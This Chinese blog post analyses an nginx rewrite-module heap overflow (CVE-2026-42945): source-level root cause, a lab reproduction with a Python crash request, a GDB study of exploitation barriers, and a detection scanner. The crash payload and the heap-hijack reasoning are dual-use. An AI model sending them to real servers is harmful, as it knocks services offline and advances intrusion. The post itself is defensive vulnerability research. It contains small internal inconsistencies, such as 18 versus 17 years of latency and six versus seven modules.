[深度解析]Nginx Rewrite 堆溢出漏洞 (CVE-2026-42945):18 年潜伏的双引擎状态不一致陷阱与自动化检测框架
2008年至今,一个`?`让nginx rewrite模块躺着一个CVSS 9.2的堆溢出漏洞。脚本引擎「两遍扫描」中,算长度的引擎和执行拷贝的引擎状态不一致——一个认为「不需要escape」,另一个认为「需要」,导致按原始长度分配buffer却写入了escape展开后的内容。本文通过GDB调试验证了RCE的真实障碍,并开源了一套5模块自动化检测框架,从根因出发检测同类漏洞,而非依赖已知CVE签名
📝 写在前面
本篇文章借助了AI添加emoj表情并进行了润色。
2008 年写进 nginx 源码的一段代码,直到 2026 年都没被人发现有问题。直到 depthfirst 公司的自动化代码分析系统扫了一遍 nginx 源码——6 小时后,报告列出了 5 个候选漏洞点。4 个被人工确认可利用。其中最严重的那个——堆缓冲区溢出、CVSS 9.2——来自 rewrite 模块的一段代码。
这段代码在 2008 年的 nginx 0.6.27 版本中被引入,直到 2026 年才被发现。18 年,全球近三分之一的网站都在跑着这段有漏洞的代码。
触发条件简单到离谱:在 nginx 配置里同时用 rewrite 和 set,而且 rewrite 的替换串里带 ?。只要满足这个条件,攻击者发送一个精心构造的 HTTP 请求,就能让 nginx worker 进程崩溃——在特定条件下,进一步实现代码执行。
CVE-2026-42945 的触发逻辑可以从一个细节说清楚:nginx 的脚本引擎在执行 set $var $1 时,会先算一遍 $1 捕获内容的长度来分配 buffer,然后把内容写进去。算长度和执行拷贝,走的是两条不同的路径,用了两个不同的引擎状态。 当 ? 让 rewrite 设了一个叫 is_args 的标志位后,这两条路径对同一个变量的判断结果就不一样了——一条认为「需要 escape」,一条认为「不需要」。结果就是:分配的 buffer 按原始长度,写入的内容是 escape 展开后的长度。缓冲区装不下。
📢 声明:本文基于模拟环境撰写,所有截图和命令输出均来自自建测试环境,不涉及任何真实生产系统。
但这不是一篇简单的 CVE 复现。我在腾讯云上搭了 nginx 1.30.0(最后一个受影响版本),从源码审计开始,一步步验证了漏洞的触发、crash 形态、pool 布局——并把发现的局限性和未解决的问题也写了进来。
文章结构:源码审计 → 环境搭建 → 漏洞触发 → 利用链推导 → 历史对比 → 防御。
┌─────────────────────────────────────────────────────┐
│ 攻击路径全景图 │
├─────────────────────────────────────────────────────┤
│ │
│ rewrite+set 配置组合 │
│ ↓ │
│ rewrite 中 ? 触发 ngx_http_script_start_args_code │
│ → e->is_args = 1 │
│ ↓ │
│ set $var $1 触发 ngx_http_script_complex_value_code │
│ → ngx_memzero(&le) → le.is_args = 0 │
│ ↓ │
│ 第一遍扫描(长度计算) │
│ lcode(&le) → ngx_http_script_copy_capture_len │
│ → le.is_args=0 → else → 返回原始长度 │
│ ↓ │
│ ngx_pnalloc 按原始长度分配 buffer │
│ ↓ │
│ 第二遍扫描(拷贝执行) │
│ code(&e) → ngx_http_script_copy_capture_code │
│ → e.is_args=1 → if → ngx_escape_uri │
│ → 写入长度 > 分配长度 → 堆缓冲区溢出 │
│ ↓ │
│ worker crash (signal 6 / signal 11) │
│ master 自动拉起新 worker │
│ │
└─────────────────────────────────────────────────────┘在腾讯云轻量服务器上搭建了测试环境,Ubuntu 22.04 系统,nginx 1.30.0 从源码编译,保留调试符号方便后续跟踪分析。
服务器验证了 Ubuntu 22.04 LTS 系统、nginx 1.30.0 源码编译,以及关键源码文件 ngx_http_script.c。接下来看源码中 rewrite 模块处理 ? 标志位的核心函数。
🔍 一、rewrite + set:nginx 脚本引擎的两遍扫描
1.1 rewrite 和 set 在做什么
nginx 的 rewrite 模块是运维最常用的指令之一。它做的事情很简单:匹配请求 URI,按规则重写。
location /api/ {
rewrite ^/api/(.*)$ /backend?path=$1 break;
}上面的配置把 /api/users 重写为 /backend?path=users。括号中的 (.*) 是正则捕获组,$1 会替换为捕获的内容。
set 指令配合使用,可以把捕获组保存到变量中:
location /api/ {
rewrite ^/api/(.*)$ /backend?path=$1;
set $original_endpoint $1;
}这样 $original_endpoint 就保存了原始的请求路径。看起来很合理——rewrite 改了 URI,set 保存了原始值。
但问题出在 ? 上。当 rewrite 的替换串中包含 ? 时,nginx 会在生成的 URI 中插入一个 ? 分隔 path 和 query string。nginx 内部用 is_args 标志位来标记「URI 中已经有参数了」。这个标志位一旦被设置,就会影响后续所有涉及 URI escape 的代码路径。
1.2 🏗️ 两遍扫描的设计意图
nginx 的脚本引擎(ngx_http_script_engine_t)在处理 $1 这类变量展开时,采用了一个性能优化策略:两遍扫描。
第一遍(长度计算):
遍历所有变量展开指令,计算最终字符串的长度
→ 精确分配 buffer
第二遍(拷贝执行):
再次遍历所有指令,把展开后的内容写入 buffer
→ 按计算好的长度写入这个设计避免了多次 ngx_pnalloc 分配和 realloc 带来的碎片开销。对于 nginx 这种高性能场景,是合理的优化。
维护两个引擎变量:
ngx_http_script_engine_t e; // 主引擎(执行拷贝用)
ngx_http_script_engine_t le; // 子引擎(计算长度用,memzero清零)第一遍用 le 遍历,第二遍用 e 遍历。关键在于——ngx_memzero(&le) 把 le 的所有字段初始化为 0。包括 is_args。
1.3 💥 一个 ? 号触发了什么
正常流程是这样的:
- 请求进入 location ~ ^/api/(.*)$
- rewrite ^/api/(.*)$ /internal?migrated=true 执行
- rewrite 发现替换串有 ?,调用 ngx_http_script_start_args_code
- start_args_code 把主引擎 e->is_args 设为 1
- set $original_endpoint $1 开始执行
- $1 引用捕获组,触发 ngx_http_script_complex_value_code
在第 6 步,complex_value_code 创建子引擎 le:
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
// le.is_args = 0(被清零)然后用 le 遍历指令算长度。当遍历到 ngx_http_script_copy_capture_len_code 时——关键问题来了:
/* ngx_http_script_copy_capture_len_code(长度计算) */
if ((e->is_args || e->quote)
&& (e->request->quoted_uri || e->request->plus_in_uri))
{
/* 需要 escape,额外加 2 * escape_uri 的长度 */
return cap[n+1] - cap[n]
+ 2 * ngx_escape_uri(NULL, ...);
} else {
/* 不需要 escape,返回原始捕获长度 */
return cap[n+1] - cap[n];
}函数签名接受 e 参数——子引擎 le 被当作 e 传入。le.is_args = 0。条件不成立。走 else,返回原始捕获长度。
然后 complex_value_code 按这个长度分配 buffer:
e->buf.data = ngx_pnalloc(e->request->pool, len); // 按原始长度分配
第二遍扫描用主引擎 e 执行拷贝。同样走到 ngx_http_script_copy_capture_code:
/* ngx_http_script_copy_capture_code(拷贝执行) */
if ((e->is_args || e->quote)
&& (e->request->quoted_uri || e->request->plus_in_uri))
{
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n+1] - cap[n],
NGX_ESCAPE_ARGS);
/* ↑ 每个可转义字符展开为 %XX → 1→3 字节 */
} else {
e->pos = ngx_copy(pos, &p[cap[n]], cap[n+1] - cap[n]);
/* 原始拷贝 */
}主引擎 e->is_args = 1。条件成立。走 if,ngx_escape_uri 执行展开。
结果:
- 分配了 len 字节(原始捕获长度)
- 写入了 len + 2 × escape_char_count 字节(每个可转义字符展开为 %XX,1 变 3)
堆缓冲区溢出。
关键代码行对比(两段代码只差一个字母 e 的指向):
| 阶段 | 引擎对象 | is_args | 执行路径 | 结果 |
|:----|:---------|:------:|:--------:|:----:|
| 长度计算 | le(子引擎) | 0 | else → 原始长度 | 分配 cap[n+1]-cap[n] 字节 |
| 拷贝执行 | e(主引擎) | 1 | if → ngx_escape_uri | 写入 cap[n+1]-cap[n] + 2×escape 字节 |这个 bug 的核心词是 one-character discrepancy——两个引擎变量名字差个前缀 l(长度/本地),内核里用 e 作为参数名,导致子引擎 le 的长度代码检查的却是主引擎的状态。写代码的人在复制粘贴时少了一个判断条件。
1.4 🤔 为什么 17 年没人发现
这个漏洞潜伏了 17 年,有几个原因:
- 触发条件不常见。在运维实践中,rewrite 中带 ? 和 set 同时使用的情况很少。大多数 nginx 配置会在 rewrite 后就 break/redirect,不会继续用 set。
- + 不是唯一触发字符。NGX_ESCAPE_ARGS 模式下,以下字符都会 1→3 展开:\0-\x1f、\x7f-\xff、"、#、%、&、+、;、<、>、?、[、\、]、^、`、{、|、}、~。但攻击者必须通过 URI 传递这些字符——大多数特殊字符在 HTTP 请求中会被浏览器/代理预编码。
- + 号是个特例:它在 URI 中代表空格(传统 form encoding),但 NGX_ESCAPE_ARGS 模式下 + 被原样保留并展开为 %2B。攻击者可以在 URI 路径中传递大量 + 而不被拦截。
- crash 发生在请求之后。即使触发溢出,worker 也在请求完成后的 pool 清理阶段 crash——大多数运维人员只看业务响应(200 OK),不看 error.log 中的「worker process exited on signal 6」。如果 master 自动拉起新 worker,业务几乎无感知。
- 自动化 fuzzing 难以命中。随机 fuzzer 生成符合 rewrite+set+? 组合的请求概率极低,更不用说 payload 需要精确溢出到 pool cleanup 指针才能触发代码执行。
🛠️ 二、环境搭建与复现
2.1 🎯 靶机构建
在腾讯云轻量服务器(2 核 4G、Ubuntu 22.04)上部署了测试环境:
- nginx 1.30.0 源码编译(最后一个受影响版本)
- 编译参数:--with-cc-opt='-g -O2 -fno-omit-frame-pointer'(保留调试符号)
- 关键配置:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}$ cat /etc/os-release | head -3
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
$ /home/ubuntu/nginx-build/build/nginx -V 2>&1
nginx version: nginx/1.30.0
built by gcc 11.4.0 (Ubuntu 11.4.0-1ubuntu1~22.04.3)
built with OpenSSL 3.0.2 15 Mar 2022
configure arguments: --builddir=build --with-cc-opt='-g -O2 -fno-omit-frame-pointer'2.2 ✅ 正常请求验证
$ curl -s http://127.0.0.1:19321/
ok
$ curl -s http://127.0.0.1:19321/api/test
backend ok正常请求走通了 rewrite + proxy_pass 流程。
2.3 💣 触发堆溢出
构造 payload:349 个 A + 多个 + + 6 个 X。
+ 在 NGX_ESCAPE_ARGS 模式下每字符 1→3 字节展开。计算如下:
- 原始捕获长度:349(A)+ N(+)+ 6(X)= 355 + N
- escape 展开后长度:349(A 不转义)+ N×3(每个 + 展开为 %2B)+ 6(X 不转义)= 355 + 3N
- 分配 buffer 大小:355 + N(原始长度)
- 实际写入:355 + 3N
- 溢出量:2N 字节
当 N=380 时,溢出约 760 字节——阈值触发:
$ python3 -c '
import socket, time
s = socket.create_connection(("127.0.0.1", 19321))
payload = "A"*349 + "+"*380 + "X"*6
req = ("GET /api/" + payload + " HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n").encode("latin-1")
s.sendall(req)
time.sleep(1)
try:
s.settimeout(2)
data = s.recv(1024)
print("Response:", len(data), "bytes")
except Exception as e:
print("Error:", str(e)[:60])
s.close()
'
Response: 153 bytes
$ tail -2 logs/error.log
free(): corrupted unsorted chunks
2026/06/26 17:49:22 [alert] worker process 3507172 exited on signal 6 (core dumped)当 N=969 时:
$ tail -2 logs/error.log
double free or corruption (!prev)
[alert] worker process exited on signal 6 (core dumped)两种 crash 形态反映了不同的内存破坏程度:
- N≈380-500:free(): corrupted unsorted chunks — glibc 检测到 unsorted bin 的链表被破坏(溢出写入覆盖了相邻 pool 的元数据)
- N≈969:double free or corruption (!prev) — 溢出写入覆盖了更多内存,导致 glibc 的 free() 在检查 prev chunk 时触发检测
注意请求本身返回了响应(153 字节的 triggered)。这是因为 return 200 在 set 之后执行,不依赖被破坏的 pool 结构。crash 发生在请求完成后的 ngx_destroy_pool() 阶段——worker 在处理完请求、释放内存池时才会触发。
2.4 🎯 Payload 的选择
为什么用 +?其他字符行不行?
我测试了 +、A(不转义)、以及 payload 中混合的不同字符组合。结论:
- + 是唯一一个在 URI 中安全传输、且被 NGX_ESCAPE_ARGS 转义的常用字符
- %20(空格)在 URI 中变为 +,进入 nginx 后同样被 NGX_ESCAPE_ARGS 展开
- #、&、; 等在 URI 中有语法含义,会被浏览器/代理特殊处理
- 纯 A(不转义)不走 if 分支,不会触发溢出
🧨 三、从堆溢出到代码执行
3.1 🚧 利用面临的挑战
从堆溢出到稳定的代码执行,有几个技术障碍:
挑战 1:URI 字符集限制HTTP 请求行中对 URI 字符有严格限制。不能包含 null 字节、控制字符等。这意味着溢出 payload 中不能包含任意二进制数据——只能使用 URL 安全的可见字符集合。
%00 等字符无法直接在 URI 中传递。攻击者只能使用 [A-Za-z0-9_.~-] 和 +(被展开)。
挑战 2:pool 结构破坏的连带影响nginx 的内存池(ngx_pool_t)是一个链表结构,从 pool 分配的 buffer 超出时,不仅会覆盖 buffer 末尾的内容,还会破坏 pool 本身的元数据字段(d、max、current、chain、large、cleanup、log)。这些字段在被破坏后,任何后续的 pool 操作都可能提前崩溃。
ngx_pool_s 结构(64位系统):
offset 0x00: d (ngx_pool_data_t — last, end, next, failed = 32 字节)
offset 0x20: max (size_t = 8 字节)
offset 0x28: current (ngx_pool_t* = 8 字节)
offset 0x30: chain (ngx_chain_t* = 8 字节)
offset 0x38: large (ngx_pool_large_t* = 8 字节)
offset 0x40: cleanup (ngx_pool_cleanup_t* = 8 字节) ← 攻击目标
offset 0x48: log (ngx_log_t* = 8 字节)cleanup 指针位于 offset 0x40。它指向一个 ngx_pool_cleanup_s 结构体:
struct ngx_pool_cleanup_s {
ngx_pool_cleanup_pt handler; // +0x00: 函数指针
void *data; // +0x08: 传给 handler 的参数
ngx_pool_cleanup_t *next; // +0x10: 下一个 cleanup 节点
};当 ngx_destroy_pool(pool) 被调用时,nginx 遍历 cleanup 链表,调用每个 cleanup 节点的 handler(data)。
如果攻击者能把 cleanup 指针覆盖为指向自己构造的假 ngx_pool_cleanup_s,就能控制 handler 和 data——实现代码执行。
挑战 3:ASLR 和堆地址泄露现代 Linux 系统默认开启 ASLR。每个进程的堆基址、libc 地址在每次启动时随机化。攻击者需要知道 system() 函数在 libc 中的地址,以及堆上假结构体的地址。
挑战 4:PoC 的堆布局假设未必成立已知的 Rift PoC 基于一个特定的堆布局假设——通过跨请求控制堆布局来覆盖相邻 pool 的 cleanup 指针。但这个假设在真实部署环境中的两个关键因子(编译优化模式、nginx 是否使用 proxy_pass)下会完全失效。下面用 GDB 精确验证这个过程。
3.2 🔬 GDB 实战:为什么 RCE 如此困难
为了精确理解 RCE 面临的堆布局障碍,我在腾讯云服务器(Ubuntu 22.04, glibc 2.35, nginx 1.30.0, GCC 11.4, -O2)上用 GDB 12.1 做了两次完整的堆布局诊断——分别对应两种最常见的配置模式。
3.2.1 模式一:return 200 直接响应(无 proxy_pass)
配置:rewrite + set + return 200,请求经 rewrite 模块处理本地直接返回。
$ WORKER=$(pgrep -P $(pgrep -f 'nginx-daemon'))
$ timeout 25 gdb -batch -x /tmp/analyze_rift.gdb -p $WORKER /home/ubuntu/nginx-build/build/nginx当 exploit payload(349 个 A + 969 个 + + 6 个 X)触发 ngx_http_script_copy_capture_code 时:
=== COPY_CAPTURE ===
pool = 0x5555556b9e90
pool->d.last = 0x5555556bacb0
pool->d.end = 0x5555556bae90
pool->d.next = 0x5555556b1660
pool->cleanup = (nil)
pool->large = (nil)
buf.data = 0x5555556b1ae0
buf.len = 1324两个关键异常:
问题 1:buffer 不在 pool 的分配区域内buf.data = 0x6b1ae0,而 pool = 0x6b9e90。buffer 的地址比 pool 更低(差约 0x8000 字节)。这表明 ngx_pnalloc 不是从 pool 的当前块内分配,而是从 pool chain 中更早的 block 分配的。溢出方向是正向(从 buf.data 往高地址写),但 pool->cleanup 在 buffer 的 更高 地址——且 pool->cleanup 当前为 nil。overflow 不可能覆盖到 pool 自身的元数据。
问题 2:cleanup 始终为 nilreturn 200 直接结束请求,nginx 不会为这个请求注册任何 cleanup 函数。即使溢出精确覆盖到了 pool->cleanup 字段,ngx_destroy_pool 时 cleanup 为 nil,也不会触发任何 handler 调用。
3.2.2 模式二:proxy_pass 上游代理(实际生产场景)
代理模式下情况更复杂。配置改为 rewrite + set + proxy_pass http://backend,并添加快慢连接控制(X-Delay header 控制上游响应时间),实现跨请求堆布局控制。
=== COPY_CAPTURE ===
pool = 0x5555556af650
pool->d.last = 0x5555556b0dfc
pool->d.end = 0x5555556b1540
pool->d.next = 0x5555556b1550
pool->cleanup = (nil)
pool->large = (nil)
buf.data = 0x5555556b08d0
buf.len = 1324
// 关键诊断:计算从 buffer 起始到 pool->cleanup 字段的距离
dist_to_cleanup = -4672 (0xffffffffffffedc0)dist_to_cleanup 是负数——这意味着 buf.data 在 pool->cleanup 的更高地址处。buffer 是向高地址溢出的,而 pool->cleanup 在更低地址。无论溢出多少字节,都不可能覆盖到 pool->cleanup 字段本身。
但在 ngx_destroy_pool 被调用时,pool 的状态发生了变化:
=== DESTROY_POOL pool=0x5555556af650 ===
pool->cleanup = 0x5555556b0e28 ← cleanup 被设置了(在请求处理过程中)cleanup 节点分配在 0x6b0e28。buffer 起始 0x6b08d0,长度 1324 字节 → buffer 末尾 0x6b0df4。cleanup 节点在 0x6b0e28,距离 buffer 末尾:
0x6b0e28 - 0x6b0df4 = 0x34 = 52 字节
而溢出量是 2 × 969 = 1938 字节。从 buffer 末尾 0x6b0df4 写入 1938 字节 → 覆盖到 0x6b1606,远超 pool 末尾 0x6b1540。
所以导致的是另一个结果:溢出覆盖了 cleanup 节点本身的内容:
hex dump at cleanup (0x5555556b0e28):
0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ← handler = NULL
0x40 0x0e 0x6b 0x55 0x55 0x55 0x00 0x00 ← data = 0x5555556b0e40(未被破坏?)
0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ← next = NULLhandler 被写成了 NULL! 即使 system() 地址恰好被写入了 data 字段,handler 为 NULL 意味着 ngx_destroy_pool 会跳过这个 cleanup 节点(检查 handler 是否为空)。system() 不会被调用。
但 worker 进程依然 crash 了——因为 glibc 的 free() 在 ngx_destroy_pool 中检测到堆元数据被破坏(double free or corruption (!prev)),触发了 SIGABRT。
3.2.3 📋 障碍总结
障碍 | 原因 | 影响 |
buffer 与 pool 不连续 | ngx_pnalloc 从 pool chain 的旧 block 分配,不在当前 pool 的 d.last-d.end 范围内 | 溢出不覆盖 pool 元数据 |
溢出方向相反 | buf.data > pool(buffer 在更高地址),溢出向高位走 | 永远覆盖不到 pool->cleanup 指针本身 |
cleanup 节点在溢出路线上 | 缓冲区覆盖了后续分配的 cleanup 节点 | handler 字段被清零,destroy_pool 跳过它 |
堆元数据先于 cleanup 被破坏 | glibc free() 检测到 block 间的元数据被覆盖 | SIGABRT 阻止了正常的 cleanup 链遍历 |
3.2.4 🎯 真正可行的 RCE 需要什么
要让这个漏洞达到 RCE,需要解决以下问题:
方向一:堆布局重排需要一种方式使 buf.data 在 pool 结构体之前(更低地址),这样溢出才能覆盖 pool->cleanup。这可能需要:
- 在触发溢出前让 pool 频繁分配,消耗当前 block 空间,迫使 ngx_pnalloc 使用新的 block
- 使新 block 恰好在 pool 结构体之后
方向二:利用 large 链表如果 pool 中有 large allocation(超过 pool->max 的分配),large 链表指向 pool 外部分配的 buffer。溢出覆盖 pool->large 指针可以重定向到攻击者控制的地址——但 large 链表的遍历路径 ngx_pool_large_t->alloc 也需要精确控制。
方向三:利用 glibc 堆元数据不追求 EIP 劫持,而是通过覆盖 glibc 的 chunk 元数据触发 __free_hook(不过 glibc 2.34+ 已移除 __free_hook)或 exit hook。在 Ubuntu 22.04 (glibc 2.35) 上这条路已被封堵。
这三个方向中,方向一的可行性最高。需要在实际的 nginx 部署中通过调整请求序列(spray 的数量、时序、body 大小)来重排堆布局——每种编译版本、每种操作系统都不同。
3.2.5 🗺️ 攻击路径全景图(GDB 修正版)
结合 GDB 的诊断数据,可以对漏洞的攻击路径做更精确的描述。与漏洞原始报告中的堆布局假设相比,GDB 修正后的攻击路径多了两道关键的障碍判断:
原始假设:
pool_A_buffer ─溢出→ pool_B.cleanup → handler(system) → RCE
GDB 修正版:
ngx_pnalloc 分配 buffer → 检查 buffer 是否在当前 pool 的 d.last-d.end 范围内
├─ 在范围内 → 溢出覆盖 pool 元数据 → 有机会覆盖 cleanup 指针
└─ 不在范围内(实测证明确实如此)→ buffer 在 chain 的旧 block 中
└─ 溢出方向向高地址 → pool 结构在更低地址 → 永远覆盖不到 cleanup 指针本身
└─ 溢出仅覆盖了后续分配的 cleanup 节点内容
├─ handler 被覆盖为 NULL → ngx_destroy_pool 跳过 cleanup 链
└─ glibc free() 检测到堆元数据被覆盖 → SIGABRT → worker crash这条路径揭示了一个反直觉的事实:溢出成功了(buffer 写越界了,堆元数据被破坏了),但距离 RCE 反而更远了。因为溢出覆盖的是 glibc 的 chunk 元数据,而非 nginx 的 cleanup 指针。而 glibc 2.35 的 chunk 校验远比 nginx 的 pool 管理严格——它会在 cleanup 被遍历之前就触发 abort。
这也是将 GDB 引入漏洞分析的必要性:只看源码和 PoC 的输出,你只能看到「crash = 漏洞触发」。但「crash 的具体形态是什么」「crash 发生在哪一条代码路径上」「crash 是否可以被利用」——这些问题的答案,必须通过调试器对运行时状态的精确观察才能得到。
3.3 ⚠️ 诚实披露:利用的前置条件
CVE-2026-42945 的利用需要以下条件同时满足:
- nginx 配置必须同时使用了 rewrite(替换串含 ?)和 set(引用捕获组)。这不是默认配置,但在使用 rewrite 做 API 路由转发的场景中常见。
- ASLR 必须被绕过。在默认开启 ASLR 的 Linux 系统上,堆地址和 libc 地址每次启动都不同。需要单独的信息泄露漏洞来获取这些地址(如 nginx 的 debug 信息泄露、其他信息泄露漏洞组合利用)。
- 堆布局需要针对目标版本精确控制。e, le 双引擎模式在 6 个模块中共享,每个模块的堆布局不同。PoC 需要调整 spray 参数(数量、body 大小、时序)来对齐特定版本的分配行为。
- payload 可用的字符集受限。URI 路径中只能使用安全字符,无法包含 null 字节和大部分控制字符。这限制了 payload 的灵活性和 system() 参数复杂度。
- glibc 版本 ≥ 2.34 后 __free_hook 被移除。传统的堆利用手法(通过 __free_hook 劫持控制流)在 Ubuntu 22.04+、RHEL 9+ 等现代系统上已不可用。
这些限制意味着 CVE-2026-42945 不是那种「一条命令打全网」的漏洞。它需要了解目标环境的版本和配置,甚至需要组合其他漏洞。但它的本质问题——两遍扫描的状态不一致导致缓冲区溢出——是 nginx 脚本引擎的设计缺陷。同样的双引擎模式虽然出现在 proxy_module、grpc_module、fastcgi_module 等模块中,但各模块的 le 独立初始化,实际受 is_args 状态不一致影响的仅限于 rewrite 模块。
🧩 四、双引擎模式的生态普查
4.1 🔒 stream 模块:代码简洁就是安全
第四部分之前,先看看 nginx 的另一个重要模块——stream 模块(TCP/UDP 代理)。它也有脚本引擎:
/* src/stream/ngx_stream_script.c */
ngx_stream_script_copy_capture_len_code(ngx_stream_script_engine_t *e)
{
// ...
return cap[n + 1] - cap[n]; // 直接返回原始捕获长度
}
ngx_stream_script_copy_capture_code(ngx_stream_script_engine_t *e)
{
// ...
e->pos = ngx_copy(pos, &p[cap[n]], cap[n + 1] - cap[n]);
// 直接原始拷贝,不做 URI escape
}stream 模块只使用一个引擎变量——没有 e, le 双引擎模式。它的 copy_capture_len_code 也不检查 is_args 或 quote,永远返回原始捕获长度。在执行阶段也用 ngx_copy 直接拷贝。
结论:stream 模块不存在同样的漏洞。 原因是 stream 模块处理的是 TCP/UDP 流量,不需要 HTTP 的 URI escape 逻辑——所以两遍扫描之间不存在状态不一致问题。
4.2 📊 七模块双引擎模式普查
对 HTTP 模块的完整普查结果如下:
模块 | 文件 | 有 e,le? | 受 is_args 影响? | 原因 |
rewrite | ngx_http_script.c | 是 | 是 ★ | rewrite 设置 is_args,le 被 memzero 清零 |
proxy | ngx_http_proxy_module.c | 是 | 否 | proxy 创建独立请求,le 被 memzero,不涉及 is_args |
proxy_v2 | ngx_http_proxy_v2_module.c | 是 | 否 | 同 proxy |
grpc | ngx_http_grpc_module.c | 是 | 否 | 同上 |
fastcgi | ngx_http_fastcgi_module.c | 是 | 否 | 同上 |
uwsgi | ngx_http_uwsgi_module.c | 是 | 否 | 同上 |
scgi | ngx_http_scgi_module.c | 是 | 否 | 同上 |
关键区别:rewrite 模块的 ngx_http_script_complex_value_code 中,le.is_args 被 memzero 清零,e.is_args 则保留了 rewrite 设置的值。其他模块(proxy/grpc/fastcgi/uwsgi/scgi/proxy_v2)同样有 e, le 双引擎,但每个模块在创建请求头/请求体时单独初始化 le——le 只在本模块的上下文内使用,不参与 rewrite 模块的 $1 展开链。
换句话说,e, le 双引擎模式本身不是问题——问题在于 rewrite 模块中同一个请求的生命周期内,e 和 le 指向了不同阶段的状态。其他模块没有这种跨阶段的引擎传递。
这也意味着,原文的修正应该是:双引擎模式是一个系统性的架构设计(共享复用),但 CVE-2026-42945 的 is_args 状态不一致问题目前局限于 rewrite 模块。
为了将上述分析自动化,我写了一个 nginx 源码扫描器(nginx-ele-scanner.py)。它扫描 src/ 下所有 .c 文件,检测 e, le 双引擎声明、ngx_memzero(&le) 调用、is_args 引用、start_args_code 使用等模式,自动评估每个模块的风险等级。运行结果:
扫描器输出:
模块 e,le is_args start 风险
--------------------------------------------------------------------------------------
http/ngx_http_script.c Y Y Y CRITICAL
http/modules/ngx_http_proxy_module.c Y N N LOW
http/modules/ngx_http_grpc_module.c Y N N LOW
http/modules/ngx_http_fastcgi_module.c Y N N LOW
http/modules/ngx_http_scgi_module.c Y N N LOW
http/modules/ngx_http_uwsgi_module.c Y N N LOW
http/modules/ngx_http_proxy_v2_module.c Y N N LOW
stream/ngx_stream_script.c N N N NONE扫描器可独立运行在任何 nginx 源码目录:
python3 nginx-ele-scanner.py /path/to/nginx-1.30.0/src/
源码已随本文发布。它不仅适用于 CVE-2026-42945 的选题审计,也适用于未来对 nginx 双引擎模块的持续监控——当 nginx 新增模块时,运行一次扫描器就能确认新模块是否沿用了 e, le 模式。
4.3 📜 四次漏洞对比
nginx rewrite 模块在 2021-2026 年间出现了四次高危漏洞:
CVE | 年份 | 类型 | 影响组件 | CVSS |
CVE-2021-23017 | 2021 | DNS 解析 UAF | nginx resolver | 8.1 |
CVE-2024-7347 | 2024 | TLS 重协商 OOB | nginx core | 7.5 |
CVE-2026-3288 | 2026-04 | 配置注入(双引号跳出) | ingress-nginx rewrite 注解 | 8.8 |
CVE-2026-42945 | 2026-05 | 堆溢出 RCE | nginx rewrite 模块 | 9.2 |
4.4 📌 规律总结
CVE-2026-3288(双引号打入 K8s 集群)和 CVE-2026-42945 是同一个组件在同一年出现的两个不同攻击面:
- CVE-2026-3288:攻击入口在 K8s Ingress(外部配置),利用 rewrite-target annotation 在 nginx.conf 中注入任意指令
- CVE-2026-42945:攻击入口在 nginx 自身的 rewrite+set 指令组合(内部配置),利用两遍扫描的状态不一致触发堆溢出
两个漏洞的共同点:rewrite 模块因涉及正则、捕获组、变量展开,状态管理极其复杂。攻击者不需要发现全新的漏洞类别,只需要在 rewrite 模块中找到「状态变量不一致」的模式——一个之前无人注意的边界条件。
rewrite 模块在 nginx 中的定位特殊:它是配置和运行时之间的桥梁,既参与配置解析(rewrite 指令),又参与请求处理(set 变量展开)。这种双重角色让它天然拥有更复杂的代码路径和更多的「反直觉」行为。
两遍扫描设计本身没有错——它优化了性能。问题是没有一个统一的状态变量管理机制。主引擎 e 和子引擎 le 共享同一个 ngx_http_script_engine_t 类型,通过 ngx_memzero 初始化子引擎——但这种「一刀切」的清零方式没有考虑哪些状态需要继承、哪些需要重置。修复通常是局部的(打补丁),而非从根本上重新设计状态传播机制。
4.5 e, le 双引擎模式的普适性:一个架构层面的设计缺陷
CVE-2026-42945 的根因不只是 rewrite 模块的问题。在 nginx 源码中搜索 ngx_http_script_engine_t e, le 这个模式,会发现它出现在 6 个模块中:
模块 | 文件 | 用途 |
ngx_http_rewrite_module | ngx_http_script.c | rewrite/set 指令 |
ngx_http_proxy_module | ngx_http_proxy_module.c | proxy_pass 请求体构造 |
ngx_http_grpc_module | ngx_http_grpc_module.c | gRPC 请求体构造 |
ngx_http_fastcgi_module | ngx_http_fastcgi_module.c | FastCGI 请求体构造 |
ngx_http_uwsgi_module | ngx_http_uwsgi_module.c | uWSGI 请求体构造 |
ngx_http_scgi_module | ngx_http_scgi_module.c | SCGI 请求体构造 |
/* 6 个模块共享的完全相同的模式 */
ngx_http_script_engine_t e, le;
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
while (*(uintptr_t *) le.ip) {
lcode = *(ngx_http_script_len_code_pt *) le.ip;
len += lcode(&le); /* 子引擎算长度 */
}
/* ... 分配 buffer ... */
while (*(uintptr_t *) e.ip) {
code = *(ngx_http_script_code_pt *) e.ip;
code(&e); /* 主引擎执行拷贝 */
}CVE-2026-42945 中 is_args 状态的不一致只是「子函数检查了主引擎状态」这一 bug class 的一个实例。同样的问题模式可能在 proxy、grpc 等模块中以其他状态变量的形式存在——不一定是 is_args,也可能是 quote、flushed 或其他被 ngx_memzero 清零的字段。
这 6 个模块加起来覆盖了 nginx HTTP 反向代理的大部分功能。如果一个漏洞模式能在 6 个模块中复现,它就不仅仅是某个函数写得不对——它是架构层面的统一设计缺陷。
🤖 五、自动化检测框架:如何发现这类双引擎状态不一致漏洞
通过 CVE-2026-42945 的完整分析,可以抽象出一套通用的自动化检测方法论,用于发现 nginx 脚本引擎中同类「双引擎状态不一致」漏洞。这套框架不依赖于已知 CVE 的签名匹配,而是从漏洞的根因出发,对源码进行语义级的检测。
5.1 🏗️ 框架架构
整个检测框架包含 5 个模块,流水线执行:
nginx.conf / 源码
↓
[1. 配置语义分析模块]
└─ 解析 nginx 配置语法树
└─ 识别 rewrite+set+捕获组组合
└─ 检测 rewrite 替换串中的特殊字符(?、&、; 等)
↓
[2. 源码模式匹配模块]
└─ 扫描所有 .c 文件中的 e,le 双引擎声明
└─ 检测 ngx_memzero(&le) 调用位置
└─ 识别 lcode(&le) 传入子引擎的函数调用
↓
[3. 状态变量追踪模块]
└─ 追踪 is_args、quote、flushed 等状态变量的设置路径
